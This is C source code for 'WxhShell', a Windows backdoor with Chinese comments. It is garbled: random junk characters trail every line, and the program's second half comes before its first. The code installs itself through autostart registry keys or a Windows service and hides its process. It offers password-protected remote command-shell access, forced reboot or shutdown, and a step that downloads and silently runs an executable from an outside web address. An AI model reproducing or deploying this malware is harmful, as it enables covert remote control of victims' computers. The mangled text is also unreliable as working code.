    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9B*SWWAj  
    if(Boot(SHUTDOWN)) },[j+wx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =VY[m-q5  
    else { @~a52'\  
    closesocket(wsh); EW]gG@w]5r  
    ExitThread(0); J@yy2AZnO  
    } Q) FL|   
    break; g7d)YUc  
    } $>#PhOC  
  // 获取shell &OuyjW4  
  case 's': { uMqo)J@s  
    CmdShell(wsh); jRq>Sz{8  
    closesocket(wsh); "=/XIM.  
    ExitThread(0); "$Rl9(}  
    break; lWOB!l  
  } M}@^8  
  // 退出 JBjz2$ZM  
  case 'x': { cQ+V 4cW Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WJJ!No P  
    CloseIt(wsh); !_V*VD  
    break; +o_`k!  
    } !-\*rdE {9  
  // 离开 <y`yKXzBUV  
  case 'q': { T8qG9)~3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q7#Q6-Q  
    closesocket(wsh); Vr5a:u'  
    WSACleanup(); Lw!@[;2  
    exit(1); T]E$H, p  
    break; ]`:Fj|>  
        } v3@)q0@  
  } k,q` ^E8k  
  } O gycP4z[  
~8|$KD4I  
  // 提示信息 ; G E0iSC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L@[bgN`=v  
} +%>L;'L ^X  
  } kv5D=0r  
$RF"m"  
  return; LY^BkH'  
} 8SKDL[rN  
w@oq.K  
// shell模块句柄 VDQ&Bm JE  
int CmdShell(SOCKET sock) LU%g>?m.]  
{ xp,H5 m%  
STARTUPINFO si; j[Et+V?  
ZeroMemory(&si,sizeof(si)); )ns;S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o.j;dsZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s'5 jvlG  
PROCESS_INFORMATION ProcessInfo; rg\|-_.es'  
char cmdline[]="cmd"; }*0%wP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :!aFfb["  
  return 0; g\6(ezUF*  
} *!nS4 [d  
[vIO  
// 自身启动模式 4NbC V)Dm  
int StartFromService(void) oXz:zoNQ  
{ =zbrXtp,  
typedef struct X|.X4fs  
{ /+66y=`UJ  
  DWORD ExitStatus; V#sANi?mpo  
  DWORD PebBaseAddress; +/UInAM  
  DWORD AffinityMask; Ya,>E@oc  
  DWORD BasePriority; \W$>EH  
  ULONG UniqueProcessId; qP]Gl--q{  
  ULONG InheritedFromUniqueProcessId; ozGK -$  
}   PROCESS_BASIC_INFORMATION; VT0I1KQx.  
tM !1oWH  
PROCNTQSIP NtQueryInformationProcess; E%$FX' 8&  
LTJ|EXYA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l?#([(WM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _s=[z$EN&  
{qh`8  
  HANDLE             hProcess; LfK <%(:  
  PROCESS_BASIC_INFORMATION pbi; e4?}#6RF  
U8.DPRa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5@Rf]'1B0  
  if(NULL == hInst ) return 0; 0ED(e1K#B  
f#5mX&j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 242lR0#aY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y.&z$+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); irrQ$N}   
f)gA.Rz  
  if (!NtQueryInformationProcess) return 0; sy]1Ba%  
zzPgLE55  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ..n-&(c32  
  if(!hProcess) return 0; N-vr_4{g  
#>!!#e!*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NEK;'"  ~  
v|n.AGn  
  CloseHandle(hProcess); OZ7MpQ  
U[Z1@2zLx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); McA,  
if(hProcess==NULL) return 0; WI~';dK2]  
w`i3B@w  
HMODULE hMod; |E!xt6B  
char procName[255]; a:@Eg;aN*O  
unsigned long cbNeeded; =k0l>)  
+fKLCzj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o>j3<#?  
I,q3J1K  
  CloseHandle(hProcess); -+c_TJ.dC  
~/gqXT">  
if(strstr(procName,"services")) return 1; // 以服务启动 ;.m"y-  
5)EnOT"'  
  return 0; // 注册表启动 JkpA \<  
} aIJ[K  
a*?? !  
// 主模块 LoNz 1KJL  
int StartWxhshell(LPSTR lpCmdLine) w' U;b  
{ O^`Y>>a  
  SOCKET wsl; $L;7SY?  
BOOL val=TRUE; 5w{_WR6,  
  int port=0; 3D%I=p(  
  struct sockaddr_in door; H?O*  
X;zy1ZH  
  if(wscfg.ws_autoins) Install(); fq\E$'o$  
$g#%  
port=atoi(lpCmdLine); -S9$C*t  
B \[P/AC  
if(port<=0) port=wscfg.ws_port; 5qUyOkI  
c 8E&  
  WSADATA data; vE&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {wCQ#V  
;Wb W\,P'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t[0gN:s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =y ^N '1q  
  door.sin_family = AF_INET; cojuU=i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]LNP"vi;  
  door.sin_port = htons(port); Tpkm\_  
#O`n Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b+3{ bE  
closesocket(wsl); T2^ @x9  
return 1; lZ E x0  
} >'E'Mp.  
Fe`$mtPu.  
  if(listen(wsl,2) == INVALID_SOCKET) { Ns&SZO  
closesocket(wsl); "4i(5|whp?  
return 1; S,qsCnz  
} 72luTR Q  
  Wxhshell(wsl); WEWNFTI  
  WSACleanup(); )I`B+c:  
M(SH3~  
return 0; P62g7>B5^  
]6FpUF#<D  
} bIwt#:v  
P(qUx9  
// 以NT服务方式启动 '6[0NuB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r1$ O<3\  
{ !J'BAq[x  
DWORD   status = 0; XG_ lyx%:E  
  DWORD   specificError = 0xfffffff; 6uR :/PTG  
bi[vs|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JZ80|-c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dN;C-XF3s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1;g>?18@  
  serviceStatus.dwWin32ExitCode     = 0; BW z*!(   
  serviceStatus.dwServiceSpecificExitCode = 0; -bcm"(<T'  
  serviceStatus.dwCheckPoint       = 0; >*k3D&  
  serviceStatus.dwWaitHint       = 0; yv]/A<gP+  
@ L?7` VoE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OG/R6k.  
  if (hServiceStatusHandle==0) return; `3\5&Bf  
s#64NG  
status = GetLastError(); beN0 ?G  
  if (status!=NO_ERROR) !V#(g./W  
{ U")bvUIL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MhWmY[  
    serviceStatus.dwCheckPoint       = 0; &F)P3=  
    serviceStatus.dwWaitHint       = 0; WXaLKiA*(  
    serviceStatus.dwWin32ExitCode     = status; M)( 5S1ndq  
    serviceStatus.dwServiceSpecificExitCode = specificError; {N/(lB8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O~l WFaW  
    return; d#Ql>PrY  
  } l>H#\MR  
Z[Uz~W6M]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0ir]  
  serviceStatus.dwCheckPoint       = 0; ^JJ*pT:  
  serviceStatus.dwWaitHint       = 0; Ftu4 V*lD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c$bb0J%  
} 45q-x_  
fPa FL}&  
// 处理NT服务事件,比如:启动、停止 Q4}2-}|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :a nUr<  
{ Z^>{bW  
switch(fdwControl) =P-kb^s  
{ )lBke*j~  
case SERVICE_CONTROL_STOP: .Hc]?R ]  
  serviceStatus.dwWin32ExitCode = 0; 9<G-uF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &0+;E-_  
  serviceStatus.dwCheckPoint   = 0; M&:[3u-  
  serviceStatus.dwWaitHint     = 0; Ihw^g <X  
  { gW$X8ECX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `o)rAD^e  
  } %F]4)XeW-+  
  return; K;k&w; j  
case SERVICE_CONTROL_PAUSE: q0SYV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $0+AR)  
  break; ][I}yOD70  
case SERVICE_CONTROL_CONTINUE: dzKI?i)x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x9p,j  
  break; >01&3-r  
case SERVICE_CONTROL_INTERROGATE: 'UUIY$V[  
  break; n&p i  
}; }L'BzSU@G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z9E[RD  
} ~K&ko8  
9l+'V0?`  
// 标准应用程序主函数 4'RyD<K\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u|BD=4*  
{ *G7/  
)!s f@F?  
// 获取操作系统版本 iLIH |P%  
OsIsNt=GetOsVer(); eR$qw#%c*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2I3MV:5  
]O,;t>  
  // 从命令行安装 ^M0e0  
  if(strpbrk(lpCmdLine,"iI")) Install(); j(AN] g:  
g+bc4eU  
  // 下载执行文件 { r yv7G  
if(wscfg.ws_downexe) { &"p7X>bd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >ZTRwy`_(  
  WinExec(wscfg.ws_filenam,SW_HIDE); XJ^dX]4  
} /5b,&  
:* 4b,P  
if(!OsIsNt) { om@GH0o+  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z@4 BTA  
HideProc(); 'avzESe~'  
StartWxhshell(lpCmdLine); [AstD9  
} =aX;-  
else z/dpnGX  
  if(StartFromService()) (P%{Tab  
  // 以服务方式启动 7k.=_Tl  
  StartServiceCtrlDispatcher(DispatchTable); @eU;oRVc{  
else p6VS<L  
  // 普通方式启动 Zi<Y?Vm/,O  
  StartWxhshell(lpCmdLine); e* {'A  
"j#;MOK  
return 0; j *B,b4  
} gY9HEfB  
&FHzd/  
8b\XC%k  
dT?/9JIv  
=========================================== efW<  
O10,h(O  
plcz m 2  
{ }Q!./5  
(v+nn1,  
tbG^9d  
" %#kml{I   
*DfwTbg|  
#include <stdio.h> E}LYO:  
#include <string.h> 4HG;v|Cp  
#include <windows.h> 0' j/ 9vm  
#include <winsock2.h> m?G@#[ l  
#include <winsvc.h> #29m <f_n  
#include <urlmon.h> _ `5?/\7  
$2I^ ;5r[  
#pragma comment (lib, "Ws2_32.lib") 4BF \- lq~  
#pragma comment (lib, "urlmon.lib") V9  Z  
90<z*j$EK  
#define MAX_USER   100 // 最大客户端连接数 2%o@?Rp  
#define BUF_SOCK   200 // sock buffer h \dq]yOl  
#define KEY_BUFF   255 // 输入 buffer lrrNyaFn  
>d2U=Yk!  
#define REBOOT     0   // 重启 .{r0Szm.  
#define SHUTDOWN   1   // 关机  }^3CG9%  
X0G6W p  
#define DEF_PORT   5000 // 监听端口 >8%<ML  
t*J *?Ma  
#define REG_LEN     16   // 注册表键长度 XLQt>y)  
#define SVC_LEN     80   // NT服务名长度 ul@G{N{L   
lqdil l\  
// 从dll定义API gkkT<hEV=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w1>uD]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X$mCn#8m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QAN :  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V&e 9?5@  
5jMI33D  
// wxhshell配置信息 JO3"$s|t  
struct WSCFG { N(ov.l;  
  int ws_port;         // 监听端口 [9N>*dKB  
  char ws_passstr[REG_LEN]; // 口令 !C]2:+z-MF  
  int ws_autoins;       // 安装标记, 1=yes 0=no !g|)?XWc  
  char ws_regname[REG_LEN]; // 注册表键名 <yt|!p-tS  
  char ws_svcname[REG_LEN]; // 服务名 #7(?B{i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "wqN,}bj\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Uphme8SX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $>if@}u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KNvvYwFH]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f%ThS42  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y@GqAN'DK[  
L?h'^*F H}  
}; }(MI}o}  
qK=uSL o\+  
// default Wxhshell configuration |-+IF,j  
struct WSCFG wscfg={DEF_PORT, I!-"SuBy4J  
    "xuhuanlingzhe", ut/3?E1 Z  
    1, Yf&P|Iiw  
    "Wxhshell", kz30! L  
    "Wxhshell", };/;L[,G  
            "WxhShell Service", #LU<v  
    "Wrsky Windows CmdShell Service", "|k 4<"]  
    "Please Input Your Password: ", NAg9EaWja{  
  1, HgY [Q}7s  
  "http://www.wrsky.com/wxhshell.exe", u([|^~H]  
  "Wxhshell.exe" tRC*@>I$  
    }; Dt]N&E#\D  
A  [c1E[  
// 消息定义模块 `PoFKtVX M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Gn?NY}.S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rm}%C(C{J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [}ayaXXQ5  
char *msg_ws_ext="\n\rExit."; !{S& "  
char *msg_ws_end="\n\rQuit."; h&|PHI  
char *msg_ws_boot="\n\rReboot..."; Mn> /\e  
char *msg_ws_poff="\n\rShutdown..."; a%g|E'\Jw  
char *msg_ws_down="\n\rSave to "; O-uno{Fd*  
(g HCu  
char *msg_ws_err="\n\rErr!"; ^osXM`  
char *msg_ws_ok="\n\rOK!"; $:l>g)c  
A.YXK%A%  
char ExeFile[MAX_PATH]; E&z`BPd  
int nUser = 0; Vf*Z}'  
HANDLE handles[MAX_USER]; or<n[<D-C  
int OsIsNt; uCB>".'kM  
Ez)hArxns  
SERVICE_STATUS       serviceStatus; w ag^Sk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MJ?fMR@  
BG&XCn5g|  
// 函数声明 VY1&YR}Y  
int Install(void); :@~W$f\y  
int Uninstall(void); |$:y8H'J  
int DownloadFile(char *sURL, SOCKET wsh); {wL30D^  
int Boot(int flag); |^09ny|  
void HideProc(void); s;!_'1pi@  
int GetOsVer(void); OL%KAEnD  
int Wxhshell(SOCKET wsl); ,%=SO 82W  
void TalkWithClient(void *cs); rGDx9KR4K!  
int CmdShell(SOCKET sock); T%Nm  
int StartFromService(void); '-KYeT\;  
int StartWxhshell(LPSTR lpCmdLine); 14DHU  
5Q$.q &,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iZ( U]  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  Gv(?u  
*DUP$@}k  
// 数据结构和表定义 =:"wU  
SERVICE_TABLE_ENTRY DispatchTable[] = gVscdg5  
{ je#OV,uHM  
{wscfg.ws_svcname, NTServiceMain}, !E@4^A80\W  
{NULL, NULL} UURYK~$K:  
}; `qs[a}%'>"  
&# < M o  
// 自我安装 G^%FP!'D?  
int Install(void) 0d|DIT#>?  
{ =F<bAZ  
  char svExeFile[MAX_PATH]; 7TU(~]Z  
  HKEY key; S*3*Q l*  
  strcpy(svExeFile,ExeFile); &l8eljg  
}nx5  
// 如果是win9x系统,修改注册表设为自启动 1Qk]?R/DN  
if(!OsIsNt) { ,L&d\M"f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $o%:ST4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^h?]$P  
  RegCloseKey(key); *,FU*zi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wl.a|~-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P P-U.  
  RegCloseKey(key); ^&Vj m  
  return 0; A)%!9i)  
    } MBn ZO  
  } xg;I::hE7X  
} FQh8(^(  
else { t9eEcq Mg  
H.)Y*zK0.  
// 如果是NT以上系统,安装为系统服务 ;O~k{5.iS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e2_p7   
if (schSCManager!=0) DD fw& y  
{ ;.U<Lr^9#  
  SC_HANDLE schService = CreateService {A`J0ol<B9  
  ( X#Sgf|$  
  schSCManager, 0&$,?CL?  
  wscfg.ws_svcname,  MU>6s`6O  
  wscfg.ws_svcdisp, E=# O|[=  
  SERVICE_ALL_ACCESS, dRL*TT0NW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i9+qU  
  SERVICE_AUTO_START, e.VQ!)>  
  SERVICE_ERROR_NORMAL,  P y!$r  
  svExeFile, <8iu:nR  
  NULL, evvv&$&  
  NULL, s+<`iH9Hm  
  NULL, xOt {Vsv  
  NULL, %'w?fqk  
  NULL @L,4JPk  
  ); 1:;S6{oQ  
  if (schService!=0) 1smKU9B2)  
  { BVzMgn;  
  CloseServiceHandle(schService); /<VR-yr  
  CloseServiceHandle(schSCManager);  SH6+'7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5V*R  Dh  
  strcat(svExeFile,wscfg.ws_svcname); hX)PdRk#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6PyW(i(bs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `lcQ Yd<,4  
  RegCloseKey(key); ,(3oAj\  
  return 0; 2DNB?,uP,'  
    } A}4 ",  
  } Ws/\ lD  
  CloseServiceHandle(schSCManager); {!&^VXZIT  
} !~Ptnr`;  
} z'01V8e  
Y !%2vOt  
return 1; :|%1i>O  
} 8 RA  
7 -S?U~s  
// 自我卸载 +z|@K=d#|  
int Uninstall(void) qM18 Ji*  
{ #b9V&/ln  
  HKEY key; Mc~L%5  
. e_VPKF|  
if(!OsIsNt) { s4`,Z*H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @]YEOk-  
  RegDeleteValue(key,wscfg.ws_regname); kB9@ &t +  
  RegCloseKey(key); 43,baeG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f=A`{ 8^  
  RegDeleteValue(key,wscfg.ws_regname);  r m  
  RegCloseKey(key); 0uu)0:  
  return 0; VHm.uL_UW  
  } 3Z}v%=5 "  
} Hxx]q+DAS  
} 6~OJB!  
else { kgHZaQnD  
?kULR0uL+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W3gHz T?{  
if (schSCManager!=0) "&C>=  
{ z&Xk~R*$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0TaN#  
  if (schService!=0) gsY Q"/S9  
  { k$|g)[RE  
  if(DeleteService(schService)!=0) { ?sv[vR(  
  CloseServiceHandle(schService); .hRtQU  
  CloseServiceHandle(schSCManager); Dkg^B@5Xr  
  return 0; M%Zh{  
  } >dJ[1s]  
  CloseServiceHandle(schService); 1i&|}"  
  } to;^'#B  
  CloseServiceHandle(schSCManager); Rn*@)5  
} uD\rmO{  
} 3 MCV?"0  
$ {e5Ka  
return 1; Vn65:" O  
} M(1cf(<+  
n_(f"U v  
// 从指定url下载文件 \}J"`J\Q  
int DownloadFile(char *sURL, SOCKET wsh) $DdC|gMK  
{ R|92T*h  
  HRESULT hr; ;` h$xB(  
char seps[]= "/"; .%+anVXS  
char *token; Dy*K;e-+  
char *file; 'p[*2J"K4  
char myURL[MAX_PATH]; <v!jS=T  
char myFILE[MAX_PATH];  7LB%7~{<  
@KRia{  
strcpy(myURL,sURL); `CRF E5  
  token=strtok(myURL,seps); 0oe2X1.%  
  while(token!=NULL) j;I( w [@P  
  { fohZ&f|>  
    file=token; `! xI!Y\  
  token=strtok(NULL,seps); hka%!W5  
  } 07]9VJa  
>a bp se  
GetCurrentDirectory(MAX_PATH,myFILE); L2c\i  
strcat(myFILE, "\\"); 7x]q>Y8T  
strcat(myFILE, file); -jzoGzC3  
  send(wsh,myFILE,strlen(myFILE),0); U]W "  
send(wsh,"...",3,0); Yx&d\/9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); biZ=TI2P,L  
  if(hr==S_OK) p|em_!H"SH  
return 0; XQ2 YUe]DJ  
else l.(|&U~  
return 1; rk47 $36X  
)NK#}c~5  
} x)pR^t7u8  
m/q`k  
// 系统电源模块 Cj=_WWo  
int Boot(int flag) o;21|[z  
{ Tb!FO"o  
  HANDLE hToken; dA^{}zZu  
  TOKEN_PRIVILEGES tkp; 0+k..l  
+R7pdi  
  if(OsIsNt) { BSL+Gjj~}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Fkg%_v$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^Rtxef  
    tkp.PrivilegeCount = 1; pgs<Mo$\%B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T7-yZSw -m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Dw>)\\n{Kl  
if(flag==REBOOT) { QQ=Kj%R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <\$?.tTZ {  
  return 0; &Xc=PQ:I  
} IgRi(q^b-  
else { $3g M P+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "<Yxt"Z4  
  return 0; <g&.UW4  
} ,g4T>7`&U%  
  } mi1^hl'2  
  else { $KhD>4^ jL  
if(flag==REBOOT) { RY3=UeoF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #guK&?Fye  
  return 0; "$P/ek  
} I%($,kd}s  
else { U5OFw+J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #M<YNuE#"  
  return 0; F'"-aB ~  
} S;u.Ds&  
} 4 9HP2E  
T`,G57-5  
return 1;  vY"I  
} o2;Eti  
i'10qWz  
// win9x进程隐藏模块 Hy -)yR  
void HideProc(void) 138v{Z  
{ I_e7rE0 `  
s IBP$9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n]7rHV}G  
  if ( hKernel != NULL ) DMTc{  
  { q#1G4l.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); | O9b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H0jbG;  
    FreeLibrary(hKernel); 8C[eHC*r  
  } hL&7D @  
Vk*XiEfKm>  
return; s>1\bio*I  
} `GlOl-  
!? H:?  
// 获取操作系统版本 !1K.HdK  
int GetOsVer(void) Ov4=!o=  
{ @$Yk#N;&(  
  OSVERSIONINFO winfo; {NcJL< ;tS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VbTX;?  
  GetVersionEx(&winfo); |`pBI0Sjo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <WnIJum  
  return 1; #DARZhU)  
  else F/,6Jh  
  return 0; "kC6G%  
} &ld<fa(w+2  
:5'hd^Q  
// 客户端句柄模块 n*i&o;5  
int Wxhshell(SOCKET wsl) T tnJ u*  
{ 97<Z,q72Y  
  SOCKET wsh; epG]$T![  
  struct sockaddr_in client; 1]Cb i7  
  DWORD myID; xFJT&=Af W  
wWSw0 H/  
  while(nUser<MAX_USER) a8v\H8@X  
{ &/:c?F?l  
  int nSize=sizeof(client); .t9`e=%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -ik=P ]?  
  if(wsh==INVALID_SOCKET) return 1; j}K 3YfH  
Ui-Y `  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4=`1C-v?q  
if(handles[nUser]==0) X$G:3uoN  
  closesocket(wsh); r\}?HS06  
else etUfdZ  
  nUser++; T XT<6(  
  } LN5BU,4=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F_i"v5#  
#f;6Ia>#  
  return 0; t:P7ah  
} f="ZplW  
j?T>S]xOX  
// 关闭 socket BHS@whj  
void CloseIt(SOCKET wsh) vl6|i)D  
{ @P>>:002/  
closesocket(wsh); 8G2QI4  
nUser--; B5h)F> &G  
ExitThread(0); `sy_'`i>X  
} L_|iQwU%  
gwsOw [;k  
// 客户端请求句柄 O/$41mK+!  
void TalkWithClient(void *cs) I[gPW7&S@  
{ W voIh4]  
9$qw&j[  
  SOCKET wsh=(SOCKET)cs; -e?n4YO*\  
  char pwd[SVC_LEN]; VKw.g@BY  
  char cmd[KEY_BUFF]; XR p60i6f  
char chr[1]; lqgR4  !  
int i,j; 2^75|Q  
TKbfZw  
  while (nUser < MAX_USER) { Tr4\ `a-i  
Yt{Z+.;9OI  
if(wscfg.ws_passstr) { 5\O&pz@D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {5HQ=&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UUM:*X  
  //ZeroMemory(pwd,KEY_BUFF); ydRS\l  
      i=0; ! ,{N>{I  
  while(i<SVC_LEN) { Oiqc]4TL  
H#WqO<<v  
  // 设置超时 X+HPdrT  
  fd_set FdRead; 6' \M:'<0e  
  struct timeval TimeOut; "vkM*HP  
  FD_ZERO(&FdRead); uZ@qlq8  
  FD_SET(wsh,&FdRead); !>wu7u-  
  TimeOut.tv_sec=8; a+CJJ3T-  
  TimeOut.tv_usec=0; #7sxb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m*h O@M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -UAMHd}4  
<Wj /A/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TEGg)\+D>  
  pwd=chr[0]; Im};wJ&  
  if(chr[0]==0xd || chr[0]==0xa) { (lq%4h  
  pwd=0; j~=<O<P  
  break; jeO`45O  
  } 0"N4WH O  
  i++; __uk/2q  
    } ar'VoL}  
m;IKV,  
  // 如果是非法用户,关闭 socket {j<?+o5A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <VQ@I  
} &oJ[ *pQ  
a@9W'/?igk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |mdf u=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gxe u2 HG  
nE0I[T(  
while(1) { :uqEGnEut  
%U .x9UL  
  ZeroMemory(cmd,KEY_BUFF); Jy[rA<x$  
P1]F0fR  
      // 自动支持客户端 telnet标准   n:?a=xY  
  j=0; E0aFHC[  
  while(j<KEY_BUFF) { xc05GJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %,@e- &>  
  cmd[j]=chr[0]; m(5LXH Jnv  
  if(chr[0]==0xa || chr[0]==0xd) { MCIuP`sC|  
  cmd[j]=0; sYSq>M  
  break; {A%&D^o)  
  } u@+^lRGFh  
  j++; hOs~/bM  
    } f'7/Wj  
/Tw $} 8  
  // 下载文件 7 4(bo \  
  if(strstr(cmd,"http://")) { qC=ZH#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z,@R jaX  
  if(DownloadFile(cmd,wsh)) BvHI}=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -- IewW  
  else lQt,(@7]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !:uh? RW  
  } X 3XTB*  
  else { &Ot9"Aq:  
,?%o ~  
    switch(cmd[0]) { YluvWHWi  
  ]D^; Ca  
  // 帮助 Y[m*  
  case '?': { RaymSh  
